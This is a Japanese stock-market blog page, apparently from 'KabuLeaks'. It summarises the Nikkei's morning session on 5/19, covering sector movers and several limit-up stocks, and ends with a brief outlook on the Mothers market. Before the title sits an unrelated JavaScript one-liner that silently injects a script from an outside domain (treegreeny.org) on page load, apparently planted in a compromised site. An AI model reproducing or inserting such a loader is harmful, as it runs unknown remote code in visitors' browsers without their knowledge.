;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【5/19 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【5/19 前引け】

前場の日経平均株価は8円安と小幅続落。4月FOMC議事要旨の公表を受け、円安に振れ1ドル110円台へ進んだことや3月の機械受注統計を好感され買いが先行した。寄り付き直後には196円高まで上昇も、買い一巡後は戻り売りに押され値を消す展開となった。業種別では、保険業、証券商品先物、その他製品が値上がり上位に。一方で、鉱業、石油石炭製品、鉄鋼が値下がり上位となった。

個別では、Orbと共同での調査研究および実証実験開始で基本合意したと発表した【6093】エスクロー・エージェント・ジャパンや16年10月期の上期業績を上方修正を好感された【7827】オービスがストップ高買い気配となり、【6264】マルマエ、【3464プロパティエージェント、【3814】アルファクスなどもストップ高となった。また、【5542】新報国製鉄、【3689】イグニス、【3370】フジタコープなどが大幅高、その他、燃費測定不正問題で前日急落となった【7269】スズキなども大幅反発となった。一方で、海外で590万株の株式売り出しを実施を発表し、需給関係の悪化を警戒された【3092】スタートトゥデイが大幅安となった。

後場の新興市場、マザーズは短期リバウンド継続が一旦の利食い売りとなるか見極めが大事。本格的な反騰はまだ先だと思うが。